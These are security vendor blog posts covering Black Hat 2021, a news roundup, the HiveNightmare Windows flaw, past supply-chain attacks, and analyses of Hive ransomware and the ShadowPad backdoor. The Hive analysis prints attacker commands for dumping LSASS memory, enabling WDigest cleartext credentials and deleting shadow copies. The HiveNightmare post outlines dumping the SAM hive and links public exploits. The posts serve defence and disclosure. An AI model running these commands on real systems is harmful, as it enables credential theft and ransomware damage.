We’ve also seen how supply chain attacks are capable of exploiting software widely used in the public and the private sectors. Threat actors utilize zero days to penetrate organizations en masse, including energy pipelines, food supply chains and other critical infrastructure. And for the most part, cybercriminals are getting away with it.

Black Hat USA 2021 – Exactly What You Would Expect

Despite all that, BlackHat was the 1st in-person event since RSA 2019. It’s hard to believe, but it was. With all that is still going on and with so many of us still at different points in our journey to put Covid-19 behind us, it’s no surprise that we didn’t see the kind of attendance rates typical of the past.

However, it was a joy to see how the energy of this community remained undiminished. There was so much action on the floor, in the meeting rooms, and everywhere else: passionate, masked, and mingling. The brainstorming, security talk and, of course, fun were just what we have all come to expect from such an event.

SentinelOne Team at Black Hat USA 2021

At SentinelOne, we were determined to give back to the community and our team created a stunning, unique booth to delight our visitors. It seems our efforts didn’t go unnoticed either by those that could only attend virtually or follow on social media.

This Year, All The Big Talk Is About Big Data

There are always themes and trends in cybersecurity as our industry responds to attacks and innovations, striving always to be a step ahead and keep our organizations safe. In the past, we have seen how topics like SIEM and Data competition around Splunk came to the forefront. This year, without a doubt, everyone’s thoughts are turning towards big data and the ability to scale XDR data.

Organizations today face a challenging situation, where the traditional network no longer exists. Threats exist exactly where your data resides, which is where your users reside, which is everywhere. You can’t assume anything about the networks your endpoints are connected to. The only defence you can rely on is on the edges of your network, the endpoints themselves. This change, which started long before COVID, is still something most organizations are struggling with.

This new reality brings a set of new problems for organizations: the amount of data that needs to be collected, stored and analyzed is beyond the capabilities of humans to scale. This is why SentinelOne led by selecting Scalyr, and CrowdStrike followed by acquiring Humio to replace their expensive and inefficient Splunk integration.

The challenge is three-fold:

  • How to get all the data
  • How to make automated security detections out of it
  • How to automate and scale the response in real time, not in minutes or hours, as some claim is good enough.

As a defence industry, we need to put behavioral analysis on all edges of our network, to be able to automate responses when anomalies accrue. There is no legitimate reason for non-admin processes to access shadow copies, or to scrub passwords from Windows hive. This is one of many examples that we learned this year: the concept of trust is not what we had thought.

Most companies presenting at Black Hat were focused on data, the growing pains of ransomware, bringing a whole new set of ideas to solve the problem that has been evolving over the last 5 years. While criminals continue to use the tried and tested tactics of the past where they still work, a much larger and dangerous threat has come to loom over us.

Just as the forces of ‘good’ have reaped the benefits of our interconnected world, machine learning and data-at-scale, so cybercriminals have created a growing operation that can scale, with Ransomware as a Service and other tools that make it easy for more players to operate extortion and ransomware operations. On top of that, we see nation states sponsoring and hiding behind the operations of financially-motivated cybercriminals, as SentinelLabs first revealed with TrickBot operations in 2019.

A Defender’s Perspective

From a defender’s point of view, all this is not a pretty sight. Too many organizations still use old technology that cannot cope with the level of sophistication that everyday threat actors are throwing at them. We see governments conducting attacks for monetary gain, to influence elections, to further agendas, and to create damage without the need to fire a single shot. We have not so much slipped as dived head first into the age of ‘Warfare in the Fifth Domain’.

Where Do We Go From Here?

But it wasn’t all doom and gloom at Black Hat USA 2021, far from it. The sessions and presentations were novel, innovative, and encouraging, with more exploit research and more tools that can help defend against attacks.

And if there was one thing we saw and heard at Black Hat this year, it was that there are a number of things that can be done to swing the pendulum back in favor of the defenders.

  • Stop considering security as a liability, but as part of business operations  – cybersecurity is now an asset and should be viewed as a competitive advantage for any firm in any industry in any geography.
  • Do not wait. The cost of a security breach is much higher than the cost of deploying the right technology.
  • Involve C-Suite decision makers in the dilemmas of securing your business. Educated leaders can take a more security-minded approach to every decision they are involved with. Knowledge is power and too many cybersecurity professionals are left to fight alone.
  • Being “Better today” is much better than “Perfect in the far future”. Every house can be broken into. With that said, malicious actors tend to look for the easy way in (some would call it laziness). Don’t be that weak point. If you are better than most organizations, you are increasing your chances of staying out of the news and defending your organization’s data.
SentinelOne Singularity XDR
See how SentinelOne XDR provides end-to-end enterprise visibility, powerful analytics, and automated response across your complete technology stack.


We went to Black Hat USA 2021 excited to see our friends, peers and customers for the first time in two years. It was an experience that reminded us all of the energy and passion in this community. Above all, it reminded us of just how many people are out there working hard to keep cyber attacks at bay. The bad guys often get the headlines, but when the good guys come out into the light at events like this, you realize that we are legion, and we are resilient.

Like this article? Follow us on LinkedIn, Twitter, YouTube or Facebook to see the content we post.

Read more about Cyber Security

The Good, the Bad and the Ugly in Cybersecurity – Week 32

6 August 2021 at 15:00

The Good

Cybersecurity is a team sport and requires collaboration between different parties. But for government and federal entities, playing with civilians and, especially, white-hat hackers, has always been challenging. Historically, security researchers that have found bugs in government and federal systems found it difficult to report these out of fear (breaking into federal systems is a serious offense) or simply because there lacked a proper vulnerability reporting mechanism.

This is why initiatives to facilitate collaboration are very much welcome. CISA has launched a vulnerability disclosure platform (VDP) in conjunction with Bugcrowd and EnDyna. The platform enables researchers to submit bugs related to numerous agencies, including the DHS, the Department of Agriculture and nine others, with ease.

Source: Twitter

Across the pond, the UK NCSC invited 26 security researchers to participate in a Bug Bounty program (in collaboration with US company HackerOne). The 30-day challenge is aimed at identifying and fixing vulnerabilities in cyber systems to strengthen security and to ensure better resilience. Christine Maxwell, Ministry of Defence Chief Information Security Officer said: “The MOD has embraced a strategy of securing by design, with transparency being integral for identifying areas for improvement in the development process”.

The Bad

The Senate Committee on Homeland Security and Governmental Affairs has released a report named “Federal Cybersecurity: America’s Data Still at Risk”. The report follows a previous study released two years ago reviewing the state of cybersecurity at eight federal agencies. While all would have expected to see some improvement, the grades included in the report show otherwise, with four agencies earning a meagre “D”, three receiving a “C” and one a “B”. The report stated that it was “clear that the data entrusted to these eight key agencies remains at risk”, citing reasons such as operating without the required authorizations, using outdated (and sometime End of-Life) software, and failing to install security patches in a timely manner.

Source: CISA

Other issues included lack of proper inventory, access management records, numerous “Shadow IT devices”, serious vulnerabilities in public facing websites, and what is probably the worst finding of all, that seven of the eight agencies examined failed to secure PII properly. The Inspector General was able to extract hundreds of sensitive PII records from the Department of Education, including 200 credit card numbers, without the agency’s system identifying or blocking the attempt.

The report concluded that “it finds that these seven Federal agencies still have not met the basic cybersecurity standards necessary to protect America’s sensitive data”. Senator Rob Portman from Ohio said the report showed:

“a sustained failure to address cybersecurity vulnerabilities at our federal agencies, a failure that leaves national security and sensitive personal information open to theft and damage by increasingly sophisticated hackers”.

The Ugly

Italy has fully vaccinated more than 60% of its eligible population, but it is facing a steady rise in cases and hospital admissions driven due to the Delta variant. In response, the Italian government has decided to double down on vaccinating the remaining population and is limiting access to activities such as indoor dining. However, just as these measures went into effect last Friday, Italy’s Lazio region, which includes the capital Rome, has suffered a ransomware attack. The attack affected the regions’ IT systems, including a public health website designated for scheduling Covid-19 vaccinations.

The website was offline from last weekend until this Thursday, resulting in delays for administering the vaccination.

Lazio Governor Nicola Zingaretti called it a “terrorist attack” and regional health councillor Alessio D’Amato said it was most serious cyberattack ever carried out on an Italian public administration. Italian news agency ANSA reported that the FBI and Europol were assisting in the investigation.

Source: BleepingComputer

It is yet unclear which ransomware operation was behind the attack. Some sources identified it as RansomEXX, while local security researcher JAMESWT claimed it was Conti. At the time of writing, it does not appear that the attackers have stolen any personal information or medical records.

Like this article? Follow us on LinkedIn, Twitter, YouTube or Facebook to see the content we post.

Read more about Cyber Security

HiveNightmare | Protecting Windows 10 Security Account Manager Against CVE-2021-36934

5 August 2021 at 16:25

It has been a tough few weeks for many enterprise security teams fighting a series of severe bugs in Microsoft Windows 10. Shortly after being ‘all hands on deck’ dealing with the remote code execution (RCE) vulnerability dubbed PrintNightmare, IT admins and security teams were plunged into another unexpected crisis thanks to the emergence of the unrelated but familiar sounding ‘HiveNightmare’ bug, aka SeriousSAM.

More formerly tracked as CVE-2021-36934, HiveNightmare is a local privilege escalation (LPE) that allows any standard user to achieve SYSTEM privileges, with all the security headaches that that entails: the ability to install malware, delete data, create new user accounts and pretty much conduct any other malicious behavior so desired.

Although HiveNightmare requires an attacker to have gained a foothold on a target system, what makes CVE-2021-36934 of particular concern is that having done so, this bug is trivial to exploit. An attacker that either accesses the target locally or remotely (such as via SSH) can very quickly and easily take advantage of a vulnerable system. Consequently, it is imperative that admins and security teams understand the details of the HiveNightmare vulnerability, how it can be exploited, and how it can be mitigated.

What Is The HiveNightmare Vulnerability?

“HiveNightmare” is an NTFS-centric, access control list (ACL) flaw which affects Windows 10 builds 1809 up to and including 21H1. Upon exploitation, non-privileged users may potentially gain access to execute arbitrary code or read sensitive data. Specifically, attackers may leverage this vulnerability to extract registry hive data, including hashed passwords, which can in turn be used to further elevate privilege.

Attempts to attack hive data files have typically required the attacker to target the registry databases in an inactive or ‘offline’ Windows session. HiveNightmare greatly simplifies the attack, allowing (amongst other things) for the extraction of sensitive registry data from Volume Shadow Copies. Attackers can potentially execute arbitrary code with SYSTEM privileges, allowing for full control.

The heart of the problem lies in any user’s ability to read files in the C:\WINDOWS\SYSTEM32\CONFIG folder. This folder includes the private system-wide  Windows registry files, as well as the frequently-targeted SAM (System Account Manager) file, which contains all the local user NTLM password hashes.

When the following command is run, vulnerable systems will show BUILTIN\Users group having RX (Read + Execute) permissions on the config folder:

> icacls C:\Windows\System32\config\SAM
Output from icacls on a vulnerable system

Attackers can leverage this insecure ACL permission to elevate privileges to local admin/SYSTEM. In organizations managed by image templates containing local users, this can be exploited for automatic lateral movement or to kickstart a worm infection mechanism.

How Is HiveNightmare Used In Attacks?

At the time of writing, the majority of activity around HiveNightmare is academic or ‘proof-of-concept’ in nature. Having said that, we have observed some examples of malware based on (or around) the code snippets that have cropped up. Dozens of such examples have already been submitted to VirusTotal in recent days.

Some of the many HiveNightmare exploits uploaded to VirusTotal

Even though exploitation is trivial, multiple exploits have been published in a variety of source code languages:

  1. Ps1: https://github.com/romarroca/SeriousSam
  2. Nim: https://github.com/HuskyHacks/ShadowSteal

As noted above, it is in general not possible to access hive data files when the system is ‘live’ as these files are locked when in use. However, since Windows 10 keeps system restore points (aka Volume Shadow Copies) that contain copies of the hive data files, an attacker can extract copies of these files from any existing snapshots.

The command

> vssadmin list shadows

lists saved snapshots for the device.

Listing the available Volume Shadow Copies

The built-in CERTUTIL command can then be used to dump the SAM database to the TEMP folder.

Dumping hive data files from a snapshot to TEMP

It is important to note that while the concept of exfiltrating credentials via stolen SAM data is not novel, HiveNightmare goes a long way towards simplifying the process for attackers. This observation is further solidified by the uptick in submissions  to public malware repositories of ‘commodity’ malware attempting to incorporate this exploit.

General Mitigations and Workarounds

The HiveNightmare vulnerability was disclosed in mid-July 2021 and officially addressed by Microsoft on July 20, 2021. This first disclosure from Microsoft included possible workaround and manual mitigation steps.

Microsoft Workarounds:

  1. Delete any Restore Points and VSS Volumes
  2. Restrict user access to %windir%\system32\config via ICACLS:
    icacls %windir%\system32\config\*.* /inheritance:e

Monitoring & Threat Hunting:

  1. Any access to a path containing regex:
  2. Suspicious creation of symbolic links containing HarddiskVolumeShadowCopy, cmdline regex:

    (as well as other variants such as PowerShell, fsutil.exe etc.)

It has also been noted that enabling periodic backup of the system registry to the “RegBack” folder will restore the ACL permissions to the more secure setting after a reboot. This was, in fact, Windows 10 default behavior until version 1803. As stated by Microsoft at the time, this change was intended to help reduce the overall disk footprint size and users were recommended to recover corrupt registry hives via a system restore point. In hindsight, that recommendation looks less than wise, and it will be interesting to see if Microsoft revises that advice.

Current guidance by Microsoft is available here.

Mitigating HiveNightmare With SentinelOne

The SentinelOne Singularity Platform detects and prevents attacks associated with CVE-2021-36934 (HiveNightmare) with the current Endpoint Security Agent release (starting 4.1). The Agent’s Intrusion Detection engine autonomously blocks attempts to access sensitive SAM information from a volume shadow copy.

To enable the protection, please follow the steps mentioned in this KB support article.

SentinelOne vs HiveNightmare
Watch how we protect Windows 10 against CVE-2021-36934 attacks.


HiveNightmare is certainly poised to become a standard weapon in the modern attacker’s armory. Escalating privileges and stealing credentials are tactics every threat actor desires to accomplish, and HiveNightmare just made these a whole lot easier to achieve. Organizations that fail to take the appropriate proactive mitigation steps are putting a target on their backs that may cost them dearly in the future. IT and security teams are, therefore, strongly advised to follow the mitigation procedures described above. If you need further assistance or would like to know more about how SentinelOne can help secure your organization, contact us or request a free demo.


Credential Dumping: Security Account Manager – T1003.002
Unsecured Credentials: Credentials In Files – T1552.001
Data Encoding: Standard Encoding – T1132.001
Credential Dumping: NTDS – T1003.003
Signed Binary Proxy Execution- T1218
Indirect Command Execution – T1202
Obfuscated Files or Information – T1027
Deobfuscate/Decode Files or Information – T1140
Query Registry – T1012

Sample Hashes



Like this article? Follow us on LinkedIn, Twitter, YouTube or Facebook to see the content we post.

Read more about Cyber Security

How Today’s Supply Chain Attacks Are Changing Enterprise Security

Exploiting Trust

When we think of the word ‘trust’, what thoughts jump to the forefront of our minds? It initially evokes thoughts of personal relationships, with our closest family members and long term friendships or colleagues, where you know those individuals are consistently and reliably there for you. They are trusted for their authenticity, their integrity and honesty, they listen to you and ultimately are discreet with your information. However, that trust as we have often experienced is something that is fragile and easily damaged. While it is implicit for some relationships, for others, it is easier to lose that feeling of trust.

If we relate trust to the information security industry and the third party tools and systems that we implement to help secure our organisations, then the same concepts hold true. We place our trust in security systems that have earned trust by proving to be reliable and consistent, by demonstrating integrity, value and confidentiality, through a trusted network of recommendations amongst many other data points.

That trust is used to help us manage and mitigate risk and in turn helps other business relationships place their trust in us, and so trust is chained together from business to business, supplier to supplier, vendor to vendor.

However, when we select a security system to help protect ourselves, we are also accepting hidden areas of trust: relationships that you are unaware that you have agreed to, ones that were made on your behalf in a chain of relationships beyond your immediate control. These chains sometimes have weak points, areas where a gap has been identified, where a process or tool might not be quite as robust as yours, and this is what the supply chain attackers in the last 10 years have looked to exploit.

Supply chain attacks look to areas of trust that are fragile. Weaknesses in these chains can be used to bypass the implicit trust you have in your own security systems, processes and organisations. Something you were, until that point, completely unaware of.

In this post, we will explore some of the high-profile examples of where these chains have been compromised and look to learn lessons from these incidents, to help identify trust weaknesses and help mitigate potential future problems.

RSA Security – 2011

Back in 2011, RSA – the security division of EMC – was attacked and critical SecurID product secrets were stolen. These secrets would allow an attacker to clone and replicate the two factor authentication system supplied by RSA.

RSA SecurID token at the time was a very popular hardware based (something you have), six digit, one-time token-based password system used by companies to reduce the reliance and insecurity of static usernames and passwords. By breaking into RSA, the attacker accessed product seed data that compromised up to 40 million tokens in the field.

The attackers’ ultimate goal was to target military secrets held by Lockheed Martin and Northrop Grumman, but they had been prevented from doing so by those organizations’ use of the strong authentication token supplied by RSA.

Organizations had placed their trust in the RSA SecurID system to provide an additional layer of security, and the attackers bypassed the trust of this system by targeting the supplier of the tokens directly.

At the time, the attacker employed a zero day vulnerability in Adobe Flash Player to inject their backdoor, delivered by a phishing email to an RSA employee.

CCleaner March 2017

In March 2017, the hugely popular computer cleaning software called CCleaner was compromised by an attacker to help distribute their malicious code to unsuspecting victims that used CCleaner as a trustworthy tool. It was a devastatingly successful attack, which reportedly led to approximately 1.6 million downloads of the infected copy of CCleaner.

The attackers compromised the maker of CCleaner’s network to inject their software, known as ShadowPad, into the application. The attackers were specifically targeting a smaller group of companies and some eleven of those targeted were successfully compromised by the backdoored CCleaner application.

NotPetya June 2017

The NotPeyta attack of summer 2017 involved a ransomware-style attack which encrypted data and in some cases also destroyed the MBR (Master Boot Record) of infected computers.

This attack leveraged the Shadowbrokers recently released Eternalblue and EternalRomance exploits, which took advantage of vulnerabilities within the SMBv1 (Server Message Block) protocols for computers running MS Windows. These were the same vulnerabilities that were used in the WannaCry outbreak earlier that year.

A similar theme of leveraging the trust in the supply chain was implemented. The attackers used a legitimate software package update mechanism of a company called M.E.Doc, a financial software package predominantly used by Ukrainian financial institutions, to launch their attack. While it was clear the target of the attack was Ukraine, the attack quickly spread elsewhere.

What became most interesting was that the encrypted computers were not designed to be decrypted; therefore, the purpose of the attack was solely destructive rather than a financially-motivated ransomware attack. It is widely accepted that the financial impact of this attack was in the region of $10bn.

ASUS Software Update 2019

In 2019, computer manufacturing giant ASUSTek Computer – more commonly known as ASUS – identified a problem with its live update service, learning as a result that it had been compromised earlier in 2018. The compromise allowed this supposedly legitimate and trusted software to deliver malware to thousands of ASUS customers.

According to one report, it impacted 13,000 computers; 80% were consumer customers, and the remainder were businesses. However, the 2nd stage malware was highly targeted via a list of specific MAC addresses. Malicious versions of ASUS’ Live Update software (normally used to deliver updates to ASUS components and applications), was found to be installed and used to deliver a secondary payload of malware.

What was most interesting about this attack was that the version of ASUS Live Update that was compromised to deliver malware was legitimately signed by an ASUSTek Computer certificate. By obtaining access to the signing authority for this application, the attackers were able to effectively bypass the trust relationship that had been placed in the certificate infrastructure.

In 2020, responsibility for the ASUS supply chain attack was attributed to APT41.

SolarWinds December 2020

While there seemed to be a temporary lull in supply chain attacks after those mentioned above, the Solarwinds attack put them firmly back on the map back in December 2020.

SolarWinds is a widely trusted software vendor with some 300,000 customers, but as the story unfolded it became clear that their Orion software had been severely compromised. The attackers managed to incorporate their malware into a legitimate Symantec certificate, which was used to update the SolarWinds software.

After further investigation, SolarWinds reported that there was evidence that the malicious code was placed into their software and updates between March and June 2020. They also reported that they believed it to impact some 18,000 of their customers.

The SolarWinds attack was highly sophisticated. For example, the malware was sandbox aware and only activated after 14 days of dormancy. Given the nature of the targets impacted, such as US government institutions, and the attackers level of sophistication, it was rapidly apparent that the threat actor was APT in nature, and now widely attributed to the Russian Foreign Intelligence Service (SVR).

Kaseya July 2021

Fast forward to summer 2021 and the discovery that Kaseya VSA software, responsible for monitoring and troubleshooting endpoint computers and widely used by Managed Service Providers to help support their customers, had also been compromised. An update to the VSA software included a ransomware component that went on to compromise some 1500 customers. The attackers leveraged two vulnerabilities, one known since April 2021 and the other since July 2015, in the VSA software.

What is most interesting about this particular attack is that the motivation seemed to be purely financial as the attackers were initially asking $70M for the recovery of the decrypted data of their victims.

This attack leveraged the REvil group’s ransomware. It is also worth noting that the delivery vehicle of the ransomware was only the externally facing Kaseya VSA infrastructure, exploited by known vulnerabilities rather than through an internal breach.

Supply Chain Attack Commonalities

Analysis of these examples shows that adversaries are often either manipulating the code signing procedures via compromised but legitimate digital signing of certificates, hijacking the update distribution network of an ISV solution, or compromising original source code.

The majority of the attackers have a high sophistication level, with the exception of the recent Kaseya attack, which leveraged an external facing service with known vulnerabilities.

Preventing and Mitigating Supply Chain Attacks

Attackers always attempt to take the least path of resistence. Today, it’s often done by first compromising one of the end targets’ upstream suppliers and then abusing the trust relationship that they have to the true target to obtain their goals.

Naturally when we think of our technology defenses, we expect to be facing out, expecting the attackers from the outside, whereas, these supply chain attacks exploit a trusted component within our environments: just where we are most vulnerable and where we have the least visibility.

As part of any organization’s risk management program, supply chain attacks must be factored in, so what are the typical processes for compliance, governance and technology areas that could be bolstered to help mitigate these problems?

  1. Develop and implement a vendor risk management program to evaluate, track, and measure 3rd-party risk.
  2. Enforce through contractual requirements vendor cybersecurity assessments, including for the vendors own supply chain risk.
  3. Require ISO 27001 certification or CMMI and/or comply with cybersecurity frameworks like NIST or CIS
  4. Plan to move to a zero trust network (ZTA) architecture ensuring that all identities and endpoints are no longer trusted by default but instead continuously validated for each access request.
  5. Deploy a modern, platform-agnostic XDR platform capable of detecting and remediating sophisticated attacks across your endpoints, cloud and network infrastructure.
  6. Enforce multi factor authentication (MFA) to prevent the most typical of authentication brute forcing attacks
  7. Increase your network and endpoint visibility retention rates so that long lasting attacks can be identified. (the SolarWinds attackers were present for at least 5 months before launching their outward-facing attack)
  8. Be exceptionally careful as to how and where you configure your endpoint tool exceptions. Being overly permissive here with tools that you supposedly trust could lead to detection gaps.
  9. If you are an ISV then ensure best practices for Secure Development Lifecycle (SDL), vulnerability assessment and patch management programs to address identified issues.


The real challenge with these sophisticated supply chain attacks are that they leverage the implicit trust we place into our 3rd parties and also the implicit trust we place in the tools we use to support our businesses.

The real benefit to the attacker is that if they are successful, they have potentially increased their ability to scale the targets that they can infect, as well as allowing them the benefit of going completely undetected for potentially many weeks or months in length, depending on the goal of the attack.

It is essential that organizations review their cybersecurity requirements, gain visibility into supply chain dependencies, and deploy a modern XDR platform that can identify and contain a breach even if it originates deep within the company’s own supply chain.

Want to know more about how SentinelOne can help? Contact us for more information, or request a free demo.

Like this article? Follow us on LinkedIn, Twitter, YouTube or Facebook to see the content we post.

Read more about Cyber Security

Hive Attacks | Analysis of the Human-Operated Ransomware Targeting Healthcare

23 August 2021 at 15:16

By Jim Walter & Juan Andres Guerrero-Saade

Executive Summary

  • Hive is a double-extortion ransomware group that first appeared in June 2021.
  • The group is notable in its undiscerning choice of targets, having no limits when it comes to healthcare providers and hospitals, as evidenced in a recent attack on Memorial Health System hospitals in Ohio.
  • Hive ransomware is written in Go to take advantage of the language’s concurrency features to encrypt files faster.
  • This report offers an overview of Hive TTPs as well as a reverse engineering deep dive into the ransomware payloads.
  • Hive remains active with as many as 30 victim companies listed on its Hive Leaks onion site at the time of writing.


While many active ransomware groups have committed to forgoing attacks on medical targets in deference to the current global situation, Hive is not one of them. On August 15, 2021, news broke of a Hive campaign against Memorial Health System, an Ohio healthcare provider. As a result, the hospital was forced to advise some patients to seek treatment at separate facilities.

While some ransomware attacks hitting public health and critical infrastructure targets can be the result of a shotgun approach to targetting – mass phishing campaigns that execute malware blindly on victim devices without awareness of the victim environment – that is not the case with Hive. This is a human-operated ransomware attack designed to take input from the command line, indicating the attackers are both aware of the environment and tailoring their attacks for maximum impact.

Memorial Health Systems open statement on ransomware attack

Who is Hive?

Hive or “HiveLeaks” is a relatively new ransomware outfit that made its appearance on the scene in late June, 2021. Hive is yet another double extortion group, making their money off of a two-pronged attack: exfiltrating sensitive data before locking up the victims’ systems. This allows them to pressure the victim into paying greater sums than a conventional ransomware attack as they also face the threat of a mass leak of sensitive data. Hive’s schemes have proven successful so far as multiple leaks are currently posted on their victim blog. As of the time of writing, there are 30 companies currently named on the HiveLeaks site.

HiveLeaks site showing the timer before releasing victim files

We can’t put the toothpaste back in the tube for Memorial Health Systems, but we can at least contribute a breakdown of the Hive operators’ preferred techniques and a deep dive into their ransomware toolkit to help other potential victims.

Technical Analysis

Initial acces can vary. Cobalt Strike implants are most often the tool of choice. They are delivered via phishing or emails in order to establish initial access. These beacons maintain persistence and allow the operators to expand their reach within the compromised environment. They are also used to launch the Hive payloads.

Recent campaigns opt for the use of ConnectWise. ConnectWise is a legitimate commercial remote administration tool that has been abused by multiple ransomware operators in recent years. This allows for persistence and management of their malware in environments where Cobalt Strike hasn’t been successful.

Once inside, attackers will attempt to dump credentials by way of consvcs.dll (MinDump) though rundll32.exe:

\Windows\system32\cmd.exe /C rundll32.exe
\Windows\System32\comsvcs.dll MinDump 752 lsass.dmp full

Additionally, WDigest may be manipulated to allow for the caching of cleartext credential data:

\Windows\system32\cmd.exe /C reg add
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v
UseLogonCredential /t REG_DWORD /d 1 && gpupdate /force

Additional tools like ADRecon may be used to further understand and traverse the compromised Active Directory (AD) environment. ADRecon is an open-source tool designed to do just that– to map, traverse and enumerate an AD environment.

The Hive Payload

While the tools, techniques, and procedures mentioned above are fairly standard for ransomware groups these days, Hive utilizes their own closed-source ransomware. The payloads are written in Go and packed with UPX. After unpacking, the ransomware itself is over 2MB in size owing to the way Go packages statically-link all dependencies to create a reliably portable executable.

The developers are taking advantage of some of the native benefits of Go, particularly the ability to implement easy and reliable concurrency. On the other hand, Go is known for enabling easy cross-compilation across different operating systems but the manner in which Hive implements its functionality makes it Windows-specific, at this time.

The ransomware is designed to take input from the command line, indicating that it’s meant to be run directly by an operator or a script containing the desired parameters. The available flags are as follows.

Flags used by Hive Ransomware

These flags are largely self-explanatory with the exception of the final option, no-cleanpollDesc. This refers to a final phase in the ransomware’s functionality that looks for a file named swap.tmp in all logical drives and deletes it before the ransomware exits. The developers refer to this as ‘cleaning space’. At this time we don’t know what this file does, whether it’s a component generated during their operations, a native Windows file, or perhaps a reference to incomplete cross-platform functionality intended for future builds.

Go malware is usually considered difficult to reverse engineer, primarily due to the wealth of tangentially-related imported code baked into every executable. It’s important to isolate the code contributed by the malware developers. In this case, Hive devs contributed four packages orchestrated by the main() function: encryptor, keys, winutils, and config.

Custom packages under ‘google.com’ parent directory

Cursory examination might miss these as they’re housed under a parent package named google.com, perhaps to give the appearance that these are standard packages.

The main function parses the flags provided by the operator and before initializing the ransomware functionality under encryptor.NewApp(). First it generates and exports the encryption keys and generates the ransom note. It directs the victim to a password-protected Onion domain:


It also warns the victim of the impending disclosure of their stolen data at the Hive Leaks site:


The main functionally is housed under encryptor.(*App).Run(), which does the following:

  1. App.ExportKeys() wraps around standard go crypto functions, which it uses to generate RSA keys. A key file is exported.
  2. MountPoints() enumerates different types of drives and appends them to a slice (a dynamically-sized array in Go). This includes native logical drives, removable drives, and remote shares.
  3. Based on the kill flag, the malware proceeds to kill processes matching the regex provided. If no custom value is provided, the following default is used:
  4. Based on the stop flag, the malware connects to the Windows service control manager and proceeds to stop services matching the regex provided.
  5. The malware creates a batch file to self-delete with the filename hive.bat, removing its own components from the disk via a new process.
    	timeout 1 || sleep 1
    	del "C:\Users\admin1\Desktop\hmod4.exe"
    	if exist "C:\Users\admin1\Desktop\hmod4.exe" goto Repeat
    	del "hive.bat"
  6. It creates a batch file to delete shadow copies under the filename shadow.bat and executes it as a separate process.
    	vssadmin.exe delete shadows /all /quiet
    	del shadow.bat
  7. In order to take advantage of Go’s concurrency features, the Hive devs run a Notify() function that is meant to watch the WaitGroup that keeps track of the parallel threads. As long as there are threads pending, this function will keep the program running.
  8. Now onto the real business of ransomware. ScanFiles() will populate a list of absolute filepaths fed into a channel (a queue of sorts). EncryptFiles() will then spawn threads that each take a file from that queue and encrypt it. This concurrency feature is the main advantage of writing this ransomware in Go and allows for much faster file encryption.
  9. Finally, the devs make sure to erase the encryption key from memory.

Ransom notes are deposited into each folder containing encrypted files (skipping the C:\windows) directory.

The ‘HOW_TO_DECRYPT.TXT’ ransom note

The ransom note instructs victims to visit the Hive portal via TOR and login with their assigned unique ID to continue the payment process.

Hive Victim Portal

Each infection campaign is assigned unique credentials available in the ransom note. This portal leads the victim to the standard ransomware ‘support’ area where they can upload freebie test files, communicate with their attackers, and receive their decryptor should they choose to pay (which, in an ideal world, they shouldn’t).


As these attacks continue to escalate and become more egregious, the need for true attack ‘prevention’ is all the more critical. While well-maintained and tested backup strategies are a must, they are not enough in these double-extortion cases.

Once executed, most modern ransomware will go after backup and storage volumes in fairly smart ways. Many have even evolved to target specific NAS devices and platforms. Some groups will bypass the encryption phase altogether and opt for pilfering data to openly extort victims with. While the latter scenario may seem preferable due to a lack of disruption, the reputational damage, potential liability, and threat to business viability remains. Hence our emphasis on prevention.

We urge all defenders to explore and embrace modern endpoint protection technologies that go beyond static checks, basic signatures, and other outdated components. Contextual awareness and automated behavioral classification are among the most powerful weapons defenders should avail themselves of.

Indicators of Compromise









Cobalt Beacon:


T1574.001 – Hijack Execution Flow: DLL Search Order Hijacking
TA0005 – Defense Evasion
TA0004 – Privilege Escalation
T1486 – Data Encrypted for Impact
T1027.002 – Obfuscated Files or Information: Software Packing
T1003.001 – OS Credential Dumping: LSASS Memory
T1007 – System Service Discovery
T1059 – Command and Scripting Interpreter
T1059.001 – Command and Scripting Interpreter: PowerShell
T1059.003 – Command and Scripting Interpreter: Windows Command Shell
T1490 – Inhibit System Recovery

The post Hive Attacks | Analysis of the Human-Operated Ransomware Targeting Healthcare appeared first on SentinelLabs.

ShadowPad | A Masterpiece of Privately Sold Malware in Chinese Espionage

19 August 2021 at 14:23

By Yi-Jhen Hsieh & Joey Chen

Executive Summary

  • ShadowPad is a privately sold modular malware platform –rather than an open attack framework– with plugins sold separately.
  • ShadowPad is still regularly updated with more advanced anti-detection and persistence techniques.
  • It’s used by at least four clusters of espionage activity. ShadowPad was the primary backdoor for espionage operations in multiple campaigns, including the CCleaner, NetSarang, and ASUS supply-chain attacks.
  • The adoption of ShadowPad significantly reduces the costs of development and maintenance for threat actors. We observed that some threat groups stopped developing their own backdoors after they gained access to ShadowPad.
  • As a byproduct of that shared tooling, any claim on attribution needs to be reviewed in a cautious way when a shared backdoor like ShadowPad is involved.
  • Instead of focusing on specific threat groups, we discuss local personas possibly involved in the development of ShadowPad as an iterative successor to PlugX.

Read the Full Report


ShadowPad emerged in 2015 as the successor to PlugX. However, it was not until several infamous supply-chain incidents occurred – CCleaner, NetSarang and ShadowHammer – that it started to receive widespread attention in the public domain. Unlike the publicly-sold PlugX, ShadowPad is privately shared among a limited set of users. Whilst collecting IoCs and connecting the dots, we asked ourselves: What threat actors are using ShadowPad in their operations? And ultimately, how does the emergence of ShadowPad impact the wider threat landscape from Chinese espionage actors?

To answer those questions, we conducted a comprehensive study on the origin, usage and ecosystem of ShadowPad. The full report provides:

  • a detailed overview of ShadowPad, including its history, technical details, and our assessment of its business model and ecosystem
  • a detailed description of four activity clusters where ShadowPad has been used
  • a discussion of how ShadowPad’s emergence changes the attacking strategies of some China-based threat actors
  • how ShadowPad affects the threat landscape of Chinese espionage attacks

In this blog post, we provide an abridged version of some of our key findings and discussions. Please see the full report for an extended discussion, full Indicators of Compromise and other technical indicators.

Technical Analysis

ShadowPad is a modular backdoor in shellcode format. On execution, a layer of an obfuscated shellcode loader is responsible for decrypting and loading a Root plugin. While the sequence of operation in the Root plugin decrypts, it loads other plugins embedded in the shellcode into memory. The plugins are kept and referenced through a linked list:

struct plugin_node {
    plugin_node* previous_node;
    plugin_node* next_node;
    DWORD referenced_count;
    DWORD plugin_timestamp;
    DWORD plugin_id;
    DWORD field_0;
    DWORD field_1;
    DWORD field_2;
    DWORD field_3;
    DWORD plugin_size;
    LPVOID plugin_base_addr;
    LPVOID plugin_export_function_table_addr;

Along with the plugins embedded in the sample, additional plugins are allowed to be remotely uploaded from the C&C server, which allows users to dynamically add functionalities not included by default.

The architecture of ShadowPad backdoor

